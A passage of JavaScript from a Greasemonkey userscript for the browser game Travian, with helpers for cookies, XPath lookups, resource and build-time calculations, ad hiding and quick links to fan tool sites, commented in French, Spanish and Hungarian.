doc.getElementsByTagName(tag);\n\t}\n\n\t/** Il crée un élément contenant un ou plusieurs parametres\n\t *\n\t * Params:\n\t *\ttag\tEtiqueta del nuevo elemento\n\t *\tcontent\tContenido del nuevo elemento en formato texto\n\t *\n\t * Returns:\n\t *\tReferencia al nuevo elemento creado\n\t */\n\tfunction $elem(tag, content, attributes, style, parent)\n\t{\n\n\t\tvar ret = document.createElement(tag);\n\t\tif (content)\n\t\t\tret.innerHTML = content;\n\n\t\tif (attributes)\n\t\t\tfor (a in attributes)\n\t\t\t\tret.setAttribute(a, attributes[a]);\n\n\t\tif (style)\n\t\t\tfor (a in style)\n\t\t\t\tret.style[a] = style[a];\n\n\t\tif (parent)\n\t\t{\n\t\t\tparent = (typeof(parent) == 'string') ? get(parent) : parent;\n\t\t\tparent.appendChild(ret);\n\t\t}\n\t\treturn ret;\n\t}\n\n\n\t/** Crée un nouveau type d'élément DIV contenant le préfixe\n\t *\n\t * Params:\n\t *\tcontent\tContenido del nuevo elemento creado\n\t *\n\t * Returns:\n\t * \tReferencia al nuevo elemento\n\t */\n\tfunction div(content)\n\t{\n\t\treturn $elem(\"div\", content);\n\t}\n\n\n\t/** Recherche dans le document en utilisant XPath\n\t *\n\t * Params:\n\t *\txpath\tExpresion de busqueda\n\t *\txpres\tTipo de busqueda\n\t *\tdoc optional, searches within the given collection, default is document.\n\t *\t\tIt can take a string as a document's innerHTML or a single html object.\n\t *\n\t * Returns:\n\t *\tReferencia a un elemento resultado de XPath\n\t */\n\tfunction find(xpath, xpres, doc)\n\t{\n\t\tif (!doc)\n\t\t\tvar doc = document;\n\t\telse\n\t\t\tif (typeof doc == 'string')\n\t\t\t\tdoc = $elem('div', doc);\n\t\tvar ret = document.evaluate(xpath, doc, null, xpres, null);\n\t\treturn xpres == XPFirst ? ret.singleNodeValue : ret;\n\t}\n\n\t/** Créer ou mettre à jour la valeur d'un cookie, avec une certaine longueur\n\t *\n\t * Params:\n\t *\tname\tNombre de la cookie\n\t *\tvalue\tContenido de la cookie\n\t *\tdays\tDuracion de la validez de la cookie\n\t */\n\tfunction createCookie(name, value, days)\n\t{\n\t\tif (typeof GM_setValue == \"undefined\")\n\t\t{\n\t\t\tif (days)\n\t\t\t{\n\t\t\t\tvar date = new Date();\n\t\t\t\tdate.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));\n\t\t\t\tvar expires = \"; expires=\" + date.toGMTString();\n\t\t\t}\n\t\t\telse\n\t\t\t\tvar expires = \"\";\n\t\t\tdocument.cookie = name + \"=\" + value + expires + \"; path=/\";\n\t\t}\n\t\telse\n\t\t\tGM_setValue(name, value);\n\t}\n\n\t/** parametres\n\t * @param key: name of the parameter in the cookie.\n\t * @param defaultValue: this is returned if the parameter is not found in the cookie.\n\t * @param type: if set, type conversion occurs. Values {string, integer, boolean} The conversion occurs only if it is not the defaultValue being returned.\n\t */\n\tfunction getOption(key, defaultValue, type)\n\t{\n\t\tvar options = readCookie('options');\n\t\tif (options == null)\n\t\t\treturn defaultValue;\n\t\toptions = options.split(\",\");\n\t\tvar myOption = options.indexOf(key);\n\t\tif (myOption < 0)\n\t\t{\n\t\t\treturn defaultValue;\n\t\t}\n\t\tswitch (type)\n\t\t{\n\t\t\tcase \"boolean\":\n\t\t\t\tvar myOption = (options[myOption + 1] == \"true\") ? true : false;\n\t\t\t\tbreak;\n\t\t\tcase \"integer\":\n\t\t\t\tvar myOption = parseInt(options[myOption + 1]);\n\t\t\t\tbreak;\n\t\t\tcase \"string\":\n\t\t\tdefault:\n\t\t\t\tvar myOption = decodeURIComponent(options[myOption + 1]);\n\t\t\t\tbreak;\n\t\t}\n\t\treturn myOption;\n\t}\n\n\tfunction setOption(key, value)\n\t{\n\t\tvar options = readCookie(\"options\");\n\t\tif (options != '')\n\t\t\toptions = options.split(\",\");\n\t\telse\n\t\t\toptions = [];\n\t\tvar myOption = options.indexOf(key);\n\t\tif (myOption < 0)\n\t\t{\n\t\t\toptions.push(key);\n\t\t\toptions.push(encodeURIComponent(value));\n\t\t}\n\t\telse\n\t\t{\n\t\t\toptions[myOption + 1] = encodeURIComponent(value);\n\t\t}\n\t\toptions.join(\",\");\n\t\tcreateCookie(\"options\", options, 365);\n\t}\n\n\n\t/** Récupérer la valeur d'un témoin\n\t *\n\t * Params:\n\t *\tname\tNombre de la cookie\n\t *\n\t * Returns:\n\t *\tContenido de la cookie o null si no existe\n\t */\n\tfunction readCookie(name, def)\n\t{\tif (!def)\n\t\t\tdef = null;\n\t\tif (typeof GM_getValue == 'undefined')\n\t\t{\n\t\t\tvar ca = document.cookie.split(';');\n\t\t\tvar nameEQ = name + \"=\";\n\t\t\tfor (var i = 0; i < ca.length; i++)\n\t\t\t{\n\t\t\t\tvar c = ca[i];\n\t\t\t\twhile (c.charAt(0) == ' ')\n\t\t\t\t\tc = c.substring(1, c.length); // Elimina espacios\n\t\t\t\tif (c.indexOf(nameEQ) == 0)\n\t\t\t\t\treturn c.substring(nameEQ.length, c.length);\n\t\t\t}\n\t\t\treturn def;\n\t\t}\n\t\telse\n\t\t\treturn GM_getValue(name, def);\n\t}\n\n\t/** Pour supprimer un cookie\n\t *\n\t * Params:\n\t *\tname\tNombre de la cookie\n\t */\n\tfunction eraseCookie(name)\n\t{\n\t\tcreateCookie(name, \"\", -1);\n\t}\n\n\t/** Il crée un chemin à une image basée dans pack grafico (Résolution du bug frimg)\n\t *\n\t * Params:\n\t *\tref\tRuta relativa a la imagen\n\t *\n\t * Returns:\n\t *\tRuta absoluta a la imagen\n\t */\n\timgx = readCookie(\"imgx\");\n\tif (imgx == true || imgx == null)\n\t{\n\t\tfunction img(ref, lang_dependant)\n\t\t{\n\t\t\treturn (!lang_dependant ? \"img/un/\" + ref : \"img/\" + find(\"//img[contains(@src,'plus.gif')]\", XPFirst).src.match(/.*img\\/(\\w+)\\/a/)[1] + '/' + ref);\n\t\t}\n\t}\n\telse\n\t{\n\t\tfunction img(ref)\n\t\t{\n\t\t\treturn (\"http://imgtrav.ifrance.com/img/\" + ref);\n\t\t}\n\t}\n\n\t/** Calculer l'identifiant des coordonnées X e Y d'une case\n\t *\n\t * Params:\n\t *\tx\tCoordenada X\n\t *\ty\tCoordenada Y\n\t *\n\t * Returns:\n\t *\tID de la casilla correspondiente a las coordenadas\n\t */\n\tfunction xy2id(x, y)\n\t{\n\t\treturn (1 + (parseInt(x) + 400) + (801 * Math.abs(parseInt(y) - 400)));\n\t}\n\n\tfunction zid2x(z)\n\t{\n\t\treturn (((z - 1) % 801) - 400);\n\t}\n\n\tfunction zid2y(z)\n\t{\n\t\treturn (400 - (parseInt(((z - 1) / 801))));\n\t}\n\n\tfunction id2xy(id)\n\t{\n\t\tvar x = (id % 801) - 401;\n\t\tvar y = 400 - (id - 401 - x) / 801;\n\t\t//alert(id-401-x);\n\t\t//alert(x+'|'+y);\n\t\treturn {\n\t\t\tx: x,\n\t\t\ty: y\n\t\t};\n\t}\n\n\n\t/** Il calcule le nombre de secondes de l'heure en format xx:xx:xx\n\t *\n\t * Params:\n\t *\tmyElement\tTexto con la hora a calcular\n\t *\n\t * Returns:\n\t *\tNumero de segundos que expresa la hora\n\t */\n\tfunction calcular_segundos(myElement)\n\t{\n\t\tvar p = myElement.split(\":\");\n\t\treturn (p[0] * 3600) + (p[1] * 60) + (p[2] * 1);\n\t}\n\n\t/** Conversion d'un montant en quelques secondes dans sa représentation en heures.\n\t * Funcion inversa de \"calcular_segundos\"\n\t *\n\t * Params:\n\t *\ts\tNumero de segundos\n\t *\n\t * Returns:\n\t *\tTexto con la representacion en horas o la cadena \"0:00:0?\" si es negativo\n\t */\n\tfunction formatear_tiempo(s)\n\t{\n\t\tif (s > -1)\n\t\t{\n\t\t\tvar horas = Math.floor(s / 3600);\n\t\t\tvar minutos = Math.floor(s / 60) % 60;\n\t\t\tvar segundos = s % 60;\n\t\t\tvar t = horas + \":\" + LZ(minutos) + \":\" + LZ(segundos);\n\t\t}\n\t\telse\n\t\t\tvar t = \"0:00:0?\";\n\t\treturn t;\n\t}\n\n\t/** Fonction responsable pour l'affichage du texte de ressources restantes pour la construction */\n\tfunction calculateBuildTime()\n\t{\n\t\t// Las celdas son los enlaces susceptibles de ser sustituidos por la nueva informacion\n\t\tvar celdas = find(\"//span[@class='c']\", XPList);\n\t\t// Las tablas son por cada uno de los edificios ampliables que se han detectado en la pagina\n\t\tvar tablas = find(\"//div[@id='lmid2']/div/table[@class='f10' and not(@width)]\", XPList);\n\t\tif (tablas.snapshotLength == 0)\n\t\t\ttablas = find(\"//div[@id='lmid2']/form/table[@class='f10' and not(@width)]\", XPList);\n\t\tvar k = celdas.snapshotLength - 1;\n\n\t\t// Se comienza por el final para evitar confusiones con otra informacion, ya que suele\n\t\t// estar lo ultimo en el caso de un unico edificio\n\t\tfor (var j = tablas.snapshotLength - 1; j >= 0; j--)\n\t\t{\n\t\t\tvar tabla = tablas.snapshotItem(j);\n\t\t\tvar celda = tabla.rows[0].firstChild;\n\t\t\tvar recursos = celda.textContent.split(\"|\").splice(0, 4);\n\t\t\tif (recursos.length != 4)\n\t\t\t\tcontinue;\n\n\t\t\tvar a = calculateResourceTime(recursos);\n\t\t\tvar b = celdas.snapshotItem(k);\n\t\t\t// Por si hay mas tablas que celdas\n\t\t\tif (b)\n\t\t\t{\n\t\t\t\t// Si lo que hay antes de la celda es un enlace, entonces se trata de la cola del Plus\n\t\t\t\tif (b.firstChild && b.previousSibling.previousSibling.nodeName == 'A')\n\t\t\t\t\tcontinue;\n\t\t\t\t// Se elimina la informacion existente antes de poner la nueva\n\t\t\t\tif (a != null)\n\t\t\t\t{\n\t\t\t\t\tif (b.firstChild && b.previousSibling.previousSibling.nodeName == 'TABLE')\n\t\t\t\t\t\twhile (b.hasChildNodes())\n\t\t\t\t\t\t\tb.removeChild(b.firstChild);\n\t\t\t\t\tb.appendChild(div(a));\n\t\t\t\t\tb.appendChild($elem('BR'));\n\t\t\t\t\tk--;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Récupérez l'identifiant du village actif\n\t *\n\t * Returns:\n\t *\tEl ID de la aldea o 0 si es la unica aldea\n\t */\n\tfunction getIdAldea()\n\t{\n\t\tvar a = find(\"//a[@class='active_vl']\", XPFirst);\n\t\tif (a)\n\t\t{\n\t\t\ta.getAttribute(\"href\").search(/\\?newdid=(\\d+)/);\n\t\t\treturn RegExp.$1;\n\t\t}\n\t\telse\n\t\t\treturn 0;\n\t}\n\n\n\t/**\n\t * Calcula el desplazamiento en pixeles a partir del 23 enlace\n\t * lateral (aldeas o enlaces personalizados)\n\t *\n\t * Returns:\n\t *\tEl desplazamiento en pixeles\n\t */\n\tfunction longitudPantalla(){ // for ms99, Nux\n\t\tvar topx = 0;\n\t\tvar rightx = 0;\n\t\tvar bx = 0;\n\t\tvar middlex = 0;\n\t\tvar menux = 0;\n\t\tvar troopx = 0;\n\t\tvar mapx = 0;\n\t\tvar maxTopY = 0;\n\t\t\n\t\tvar docElem = get(\"ltop1\");\n\t\tif (docElem != null) topx = parseInt(docElem.offsetHeight);\n\t\t\n\t\tdocElem = get(\"lright1\");\n\t\tif (docElem != null) rightx = parseInt(docElem.offsetHeight);\n\t\t\n\t\tdocElem = find(\"//td[@class='menu']\", XPFirst);\n\t\tif (docElem != null) menux = 60 + parseInt(docElem.scrollHeight); //+60\n\t\t\n\t\tdocElem = get(\"navi_table\");\n\t\tif (docElem != null) navix = parseInt(docElem.offsetHeight); //+60\n\t\t\n\t\tdocElem = get(\"lleft\");\n\t\tif (docElem != null) leftx = parseInt(docElem.offsetHeight); //+60\n\t/*\t\n\t\tdocElem = get(\"lmidlc\");\n\t\tif (docElem != null) middlex = topx + parseInt(docElem.offsetHeight);\n\t*/\t\n\t\tdocElem = get(\"lmid1\");\n\t\tif (docElem != null) middlex1 = parseInt(docElem.offsetHeight);\n\t\t\n\t\tdocElem = get(\"lres0\");\n\t\tif (docElem != null) middlex2 = parseInt(docElem.offsetHeight);\n\t\t\n\t/*\tdocElem = get(\"ltbw1\");\n\t\tif (docElem != null) middlex2 += parseInt(docElem.offsetHeight);\n\t\t\n\t\tdocElem = get(\"lrpr\");\n\t\tif (docElem != null) middlex2 += parseInt(docElem.offsetHeight);\n\t\t\n\t\tdocElem = get(\"ltrm\");\n\t\tif (docElem != null) middlex2 += parseInt(docElem.offsetHeight); //+170\n\t\t\n\t\tdocElem = get(\"lbau1\");\n\t\tif (docElem != null) middlex2 += parseInt(docElem.offsetHeight);\n\t\t\n\t\t//middlex2 += 60;\n\t\t\n\t\tdocElem = get(\"map_content\");\n\t\tif (docElem != null) {\n\t\t\tdocElem = docElem.firstChild;\n\t\t\tif (docElem != null) mapx = topx + 10 + parseInt(docElem.offsetHeight);\n\t\t}\n\t*/\t\n\t\tmaxTopY = leftx;\n\t\tif (navix >= maxTopY) maxTopY = navix;\n\t\tif (menux >= maxTopY) maxTopY = menux;\n\t\tif (rightx >= menux) maxTopY = rightx;\n\t\tif (middlex >= maxTopY) maxTopY = middlex;\n\t\tif (middlex1 >= maxTopY) maxTopY = middlex1;\n\t\tif (middlex2 >= maxTopY) maxTopY = middlex2;\n\t\tif (mapx >= maxTopY) maxTopY = mapx;\n\t\t\n\t\tdocElem = get(\"configuracion\");\n\t\tif (docElem != null) maxTopY = middlex + parseInt(docElem.offsetHeight);\n\t\t\n\t\t//maxTopY = maxTopY;\n\t\tif (maxTopY < 0) maxTopY = 0;\n\t\t\n\t//\tvar maxX = document.body.clientWidth;\n\t//\tif (maxX >= 1600 && !blocNotasinfo && getDocDirection != 'rtl') maxTopY = 0;\n\t\treturn maxTopY;\n\t}\n\n\n\t/** Calculer les ressources restantes et le temps requis pour une quantité désirée et retourne une chaîne en HTML avec cette information\n\t *\n\t * Params:\n\t *\tnecesario:\tArray con la cantidad deseada de cada tipo de recurso\n\t *\n\t * Returns:\n\t *\tCadena de texto en HTML con la informacion sobre el tiempo y recursos que faltan\n\t */\n\tfunction calculateResourceTime(necesario)\n\t{\n\t\tvar tiempo_max = 0;\n\t\tvar a = null;\n\t\tvar res_table = '';\n\n\t\t// Calcula y crea una cadena con lo que falta de cada recurso\n\t\t// A negy nyersanyagfajta\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tnecesario[i] = necesario[i] - 0;\n\t\t\t// kell meg = epiteshez szukseges- amink van\n\t\t\tvar restante = necesario[i] - actual[i];\n\t\t\tif (restante > 0)\n\t\t\t{\n\t\t\t\tvar tiempo = Math.round(restante / produccion[i]);\n\t\t\t\tif (tiempo < 0 || total[i] - necesario[i] < 0)\n\t\t\t\t{\n\t\t\t\t\ttiempo_max = 'Infinity';\n\t\t\t\t\tres_table += '<tr><td><img src=\"' + img('r/' + (i + 1) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\"></td><td align=\"right\" id=\"timeout' + i + '\">' + restante + '</td><td>' + T('NUNCA') + '</td></tr>';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (tiempo > tiempo_max && tiempo_max != 'Infinity')\n\t\t\t\t\t{\n\t\t\t\t\t\ttiempo_max = tiempo;\n\t\t\t\t\t}\n\t\t\t\t\ttiempo = formatear_tiempo(tiempo + 5);\n\t\t\t\t\tres_table += '<tr><td><img src=\"' + img('r/' + (i + 1) + '.gif') + '\" width=\"18\" height=\"12\" border=\"0\" title=\"' + T('RECURSO' + (i + 1)) + '\"></td><td align=\"right\" id=\"timeout' + i + '\">' + restante + '</td><td align=\"right\" id=\"timeout\" width=\"60\">' + tiempo + '</td></tr>';\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Calcula y crea una cadena con el tiempo que falta hasta conseguir los recursos\n\t\tif (tiempo_max == 'Infinity')\n\t\t{\n\t\t\t// Soha nem lesz eleg nyersanyag szoveg.\n\t\t\ta = '<table align=\"left\">' + res_table + '<tr><td colspan=\"2\">' + T('LISTO') + '</td><td>' + T('NUNCA') + '</td></tr></table>';\n\t\t}\n\t\telse\n\t\t\tif (tiempo_max > 0)\n\t\t\t{\n\t\t\t\tvar tiempo2 = formatear_tiempo(tiempo_max + 5); // Introduce un margen de 5 segundos para compensar la desviancion de los temporizadores de javascript\n\t\t\t\tvar fecha = new Date();\n\t\t\t\tfecha.setTime(fecha.getTime() + (tiempo_max * 1000));\n\n\t\t\t\t// Meg kell szoveg: resourcecsik, ora Kesz ma szoveg, mikorra keszul\n\t\t\t\t// tl.\n\t\t\t\ta = '<table align=\"left\">' + res_table + '<tr><td colspan=\"2\">' + T('LISTO') + '</td><td>' + calcularTextoTiempo(fecha) + '</td></tr></table>';\n\t\t\t}\n\t\treturn a;\n\t}\n\n\t/** Ecrit le temps nécessaire pour atteindre certaine date\n\t *\n\t * Params:\n\t *\tfecha:\tObjeto de tipo Date con la fecha futura\n\t *\n\t * Returns:\n\t *\tCadena de texto con el calculo de tiempo restante\n\t */\n\tfunction calcularTextoTiempo(fecha)\n\t{\n\t\tvar ahora = new Date();\n\n\t\t// Calcula la diferencia de horas entre la fecha dada y la actual\n\t\t// para saber si se trata de las proximas 72 horas\n\t\tvar horas = ((fecha.getTime() - ahora.getTime()) / 1000 / 60 / 60);\n\t\thoras += ahora.getHours() + (ahora.getMinutes() / 60);\n\t\tvar tiempo_restante = '';\n\t\tif (horas < 24)\n\t\t\ttiempo_restante = T('HOY');\n\t\telse\n\t\t\tif (horas < 48)\n\t\t\t\ttiempo_restante = T('MANYANA');\n\t\t\telse\n\t\t\t\tif (horas < 72)\n\t\t\t\t\ttiempo_restante = T('PAS_MANYANA');\n\t\t\t\telse\n\t\t\t\t\ttiempo_restante = T('EL') + \" \" + LZ(fecha.getDate()) + \"/\" + LZ((fecha.getMonth() + 1));\n\n\t\treturn tiempo_restante + \" \" + T('A_LAS') + \" \" + LZ(fecha.getHours()) + \":\" + LZ(fecha.getMinutes());\n\t}\n\n\t/** Calculer le montant estimatif maximum de temps pour parvenir à l'ressources fondées sur le montant et la production effective de chaque type d'appel\n\t *\n\t * Params:\n\t *\tnecesario:\tArray con la cantidad deseada de cada tipo de recurso\n\t *\n\t * Returns:\n\t *\tTiempo maximo en segundos hasta conseguir los recursos deseados\n\t */\n\tfunction calculateTime(necesario)\n\t{\n\t\tvar tiempo_max = 0;\n\t\tvar tiempo = 0;\n\n\t\tfor (var i = 0; i < 4; i++)\n\t\t{\n\t\t\tvar restante = necesario[i] - actual[i];\n\t\t\tif (restante > 0)\n\t\t\t{\n\t\t\t\ttiempo = Math.round(restante / produccion[i]);\n\t\t\t\tif (tiempo > tiempo_max)\n\t\t\t\t\ttiempo_max = tiempo;\n\t\t\t\tif (tiempo < 0)\n\t\t\t\t\ttiempo_max = 'Infinity';\n\t\t\t}\n\t\t}\n\n\t\tif (tiempo_max > 0 && tiempo_max != 'Infinity')\n\t\t\ttiempo_max = formatear_tiempo(tiempo_max + 5); // Se introduce un margen de 5 segundos para compensar posibles desviaciones en los temporizadores de javascript\n\t\treturn tiempo_max;\n\t}\n\n\t/** Assigner une couleur en fonction du temps qui s'écoule */\n\tfunction calculateHighlight(produccionHora, tiempo, tiempoRestante)\n\t{\n\t\tvar color = '';\n\n\t\tif (produccionHora < 0)\n\t\t{\n\t\t\tcolor = '#FF0000';\n\t\t}\n\t\telse\n\t\t\tif (tiempo <= 3600)\n\t\t\t{\n\t\t\t\tcolor = 'Magenta';\n\t\t\t}\n\t\t\telse\n\t\t\t\tif (tiempo <= 18000)\n\t\t\t\t{\n\t\t\t\t\tcolor = '#ffa500';\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tif (tiempo <= 36000)\n\t\t\t\t\t{\n\t\t\t\t\t\tcolor = '#7b68ee';\n\t\t\t\t\t}\n\n\t\tvar ret = tiempoRestante;\n\t\tif (color != '')\n\t\t\tret = '<font color=\"' + color + '\">' + ret + '</font>';\n\n\t\treturn ret;\n\t}\n\n\t/** Il calcule et affiche le temps estimé jusqu'à ce que le remplissage / vidage des entrepôts et des granges */\n\tFillTimeinfo = readCookie(\"FillTimeinfo\");\n\tif (FillTimeinfo == false || FillTimeinfo == null)\n\t{\n\t\tvar FillTime = '30px';\n\t}\n\telse\n\t{\n\t\tvar FillTime = '0px';\n\t}\n\tfunction calculateFillTime()\n\t{\n\t\tcalculateFillTimeInfo = readCookie(\"calculateFillTimeInfo\" + server);\n\t\tif (calculateFillTimeInfo == true || calculateFillTimeInfo == null)\n\t\t{\n\t\t\tvar lres = find(\"//div[starts-with(@id,'lres')]\",XPFirst); // For compatibility of servers like the german ones where id varies 'lres0 ... lres3' etc.\n\t \t var tBody = lres;\n\t\t\twhile (!tBody.tagName || tBody.tagName.toLowerCase() != 'tr') // Get table or tbody (if tbody exists)\n\t\t \t\tif (!tBody.tagName) // Skip text nodes...\n\t\t\t\t\ttBody = tBody.nextSibling;\n\t\t\t\telse\n\t\t\t\t\ttBody = tBody.childNodes[0];\n\t\t\ttBody = tBody.parentNode;\n\n\t\t\tvar tr = $elem('tr')\n\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t{\n\t\t\t\tvar td = $elem('td', '', {\n\t\t\t\t\t'colspan': '2',\n\t\t\t\t\t'align': 'center'\n\t\t\t\t});\n\t\t\t\tvar tiempo;\n\t\t\t\tif (produccion[i] < 0)\n\t\t\t\t\ttiempo = Math.round(actual[i] / -produccion[i]);\n\t\t\t\telse\n\t\t\t\t\tif (produccion[i] == 0) // Si la produccion es 0, el tiempo es infinito\n\t\t\t\t\t\ttiempo = -1;\n\t\t\t\t\telse // Si la produccion es negativa, se calcula el tiempo hasta el vaciado\n\t\t \t\t\t\ttiempo = Math.round((total[i] - actual[i]) / produccion[i]);\n\n\t\t\t\tvar celda = $elem(\"span\", '', {}, {\n\t\t\t\t\t\"fontSize\": \"9px\",\n\t\t\t\t\t\"color\": \"#909090\",\n\t\t\t\t\t\"position\": \"relative\",\n\t\t\t\t\t\"top\": FillTime,\n\t\t\t\t\t\"whiteSpace\": \"nowrap\",\n\t\t\t\t\t\"paddingLeft\": \"7px\",\n\t\t\t\t\t\"textAlign\": \"center\"\n\t\t\t\t});\n\n\t\t\t\tvar produccionHora = get('l' + (4 - i)).title;\n\t\t\t\tvar tiempoRestante = \"<span id='timeouta' style='font-weight:bold' noreload='1'>\" + formatear_tiempo(tiempo) + \"</span>\";\n\n\t\t\t\tvar tmpStr = \"<span>\";\n\t\t\t\ttmpStr += \"<span>(\" + (produccionHora > 0 ? '+' : '') + produccionHora + \",</span>\"\n\t\t\t\ttmpStr += \"<span>\" + calculateHighlight(produccionHora, tiempo, tiempoRestante) + \"</span><span>)</span>\";\n\t\t\t\ttmpStr += \"</span>\";\n\t\t\t\tcelda.innerHTML = tmpStr\n\t\t\t\ttd.appendChild(celda);\n\t\t\t\ttr.appendChild(td);\n\t\t\t}\n\t\t\ttr.appendChild($elem('td')); // Fill the last td (Pop counter)\n\t\t\ttBody.insertBefore(tr, tBody.childNodes[0]);\n\t\t\tlres.setAttribute('style', 'top:84px;');\n\t\t}\n\t}\n\n\t/** Traduit une chaîne de caractères en utilisant la langue global détecté\n\t *\n\t * Params:\n\t *\ttexto:\tCadena de texto a traducir\n\t *\n\t * Returns:\n\t *\tCadena de texto traducida\n\t */\n\tfunction T(texto)\n\t{\n\n\t\ttexto = texto.toUpperCase();\n\n\t\ttry\n\t\t{\n\t\t\treturn aLang[texto] == undefined ? '!' + texto + '!' : aLang[texto];\n\t\t}\n\t\tcatch (e)\n\t\t{\n\t\t\treturn '!' + texto + '!';\n\t\t}\n\n\t}\n\n\tfunction F(texto, args)\n\t{\n\n\t\ttexto = aLang[texto] == undefined ? '!' + texto + '!' : aLang[texto];\n\n\t\tif (args != undefined)\n\t\t\tfor (var i in args)\n\t\t\t\ttexto = texto.replace(i, args[i]);\n\t\treturn texto;\n\t}\n\n\t/** Récupérer initiale informations génériques pour le reste des fonctions */\n\tfunction getGeneralData()\n\t{\n\t\t// Por cada tipo de recurso: cantidad actual almacenada, capacidad total del almacen / granero y produccion por segundo\n\t\tif(document.location.href.indexOf('karte2') == -1) // Not on karte2 (13x13) map\n\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t{\n\t\t\t\tvar a = get('l' + (4 - i));\n\t\t\t\tactual[i] = a.innerHTML.split(\"/\")[0];\n\t\t\t\ttotal[i] = a.innerHTML.split(\"/\")[1];\n\t\t\t\tproduccion[i] = a.title / 3600;\n\t\t\t}\n\t\t//\n\t\tgetDocDirection = document.defaultView.getComputedStyle(document.body, null).getPropertyValue(\"direction\");\n\t\t// Identificador de aldea actual\n id_aldea = getIdAldea();\n\t\t// Identify the userid\n var menu = document.evaluate(\"//td[@class='menu']/a[3]\", get(\"navi_table\"), null, XPFirst, null).singleNodeValue;\n\t\tuserID = ((menu.search.split(\"=\"))[1]);\n\t\tlonelyTownNEWDID = GM_getValue(\"capital\" + server + userID);\n\t\t// Plus\n\t\tif (find(\"//img[contains(@src, 'travian1.gif')]\", XPFirst))\n\t\t\tplus = true;\n\t\telse\n\t\t\tplus = false;\n\t}\n\n\t/** Funcion que devuelve la version del juego de Travian que esta tratando\n\t *\n\t * Returns:\n\t *\t\t\tLa version del juego\n\t */\n\tfunction getVersion()\n\t{\n\t\tvar a = find(\"//script[@type='text/javascript']\", XPFirst);\n\t\tif (a)\n\t\t{\n\t\t\ta.src.search(/(\\d).js$/);\n\t\t\treturn RegExp.$1;\n\t\t}\n\t\telse\n\t\t\treturn null;\n\t}\n\n\t/** Il cache les annonces */\n\tfunction hideAd()\n\t{\n\t\tvar ad = find(\"//iframe\", XPFirst);\n\t\tif (ad)\n\t\t{\n\t\t\tad.style.display = 'none';\n\t\t\tif (ad = find(\"//div[contains(@style,'url(img/un/l/')] | //td[contains(@style, 'img/un/l/')]/ancestor::table\", XPFirst))\n\t\t\t{\n\t\t\t\tvar div = find(\"/html/body/div\", XPFirst);\n\t\t\t\tdiv.style.height = '30px';\n\t\t\t\tif(ad.nodeName == 'TABLE')\n\t\t\t\t\t{\n\t\t\t\t\t\tremoveElement(ad);\n\t\t\t\t\t\tremoveElement(find(\"/html/body/div[2]\", XPFirst));\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\tif(ad.style.backgroundImage.indexOf(\"skyscraper_bg.gif\") > -1)\n\t\t\t\t\tremoveElement(ad);\n\t\t\t\tdiv.style.backgroundImage = '';\n\t\t\t\tfind(\"/html/body/div[3]\", XPFirst).style.height = \"0px\";\n\t\t\t}\n\t\t}\n\t}\n\n\t/** Il crée de nouveaux liens dans la barre de menu de gauche. Il sont internes et externes liées au jeu séparées par une ligne */\n\tfunction quickLinks()\n\t{\n\t\tvar menu = find(\"//td[@class='menu']\", XPFirst);\n\t\tfor (var j = 0; j < 2; j++)\n\t\t\tfor (var i = 0; i < menu.childNodes.length; i++)\n\t\t\t\tif (menu.childNodes[i].nodeName == 'BR')\n\t\t\t\t\tremoveElement(menu.childNodes[i]);\n\n\t\tlienfix = readCookie(\"lienfix\" + server);\n\t\tif (lienfix == false || lienfix == null)\n\t\t{\n\t\t\tvar links = [\t\t//\t[\"<font color=#FF0000>Version \" + version + \"</font>\", \"http://userscripts.org/scripts/show/26429\", \"_blank\"],\n\t\t\t0, [T('LOGIN'), \"login.php\"], [T('ALIANZA'), \"allianz.php\"], [T('SIM'), \"warsim.php\"], //\t0,\n\t\t\t//\t[\"<font color=#0000FF>\"+T('DEMO')+\"</font>\", \"build.php?gid=15\"],\n\t\t\t//\t[\"<font color=#0000FF>\"+T('ALDEA_EXTRA1')+\"</font>\", \"a2b.php\"],\n\t\t\t//\t[T('ALDEA_EXTRA1'), \"a2b.php\"],\n\t\t\t//\t[\"<font color=#0000FF>Armurerie\", \"build.php?gid=12\"],\n\t\t\t//\t[\"<font color=#0000FF>Usine_armures\", \"build.php?gid=13\"],\n\t\t\t//\t[\"<font color=#0000FF>Hôtel_de_ville\", \"build.php?gid=24\"],\n\t\t\t//\t[\"<font color=#0000FF>Palais_PC\", \"build.php?gid=26&s=2\"],\n\t\t\t//\t[\"<font color=#0000FF>Manoir_Héros\", \"build.php?gid=37\"],\n\t\t\t0, [\"<i>Travmap</i>\", \"http://travmap.shishnet.org/?lang=\" + ext, \"_blank\"], [\"<i>Travianmap</i>\", \"http://travianmap.nl/?ln=\" + ext, \"_blank\"], [\"<i>\" + T('BUSCO') + \"_9c-15c</i>\", \"http://asite.110mb.com/cropfinder.php\", \"_blank\"], [\"<i>\" + T('TOOLS') + \"</i>\", \"http://www.traviantoolbox.com/distances_et_temps\", \"_blank\"], [\"<i>\" + T('FRIGO') + \" (1)</i>\", \"http://www.travian-search.com/index.php?lang=fr&path=fridge\", \"_blank\"], [\"<i>\" + T('FRIGO') + \" (2)</i>\", \"http://traviantool3.ww7.be/frame_T.php?lang=fr&titre=inactive\", \"_blank\"], 0, ]; // + idioma, : Permet de rajouter un 'fr' apres un lien ou texte\n\t\t}\n\t\telse\n\t\t{\n\t\t\tvar links = [\t\t//\t[\"<font color=#FF0000>Version \" + version + \"</font>\", \"http://userscripts.org/scripts/show/26429\", \"_blank\"],\n\t\t\t0, [T('LOGIN'), \"login.php\"], [T('ALIANZA'), \"allianz.php\"], [T('SIM'), \"warsim.php\"], //\t0,\n\t\t\t//\t[\"<font color=#0000FF>\"+T('DEMO')+\"</font>\", \"build.php?gid=15\"],\n\t\t\t//\t[\"<font color=#0000FF>\"+T('ALDEA_EXTRA1')+\"</font>\", \"a2b.php\"],\n\t\t\t0, [\"<i>\" + T('BUSCO') + \"_9c-15c</i>\", \"http://asite.110mb.com/cropfinder.php\", \"_blank\"], [\"<i>\" + T('TOOLS') + 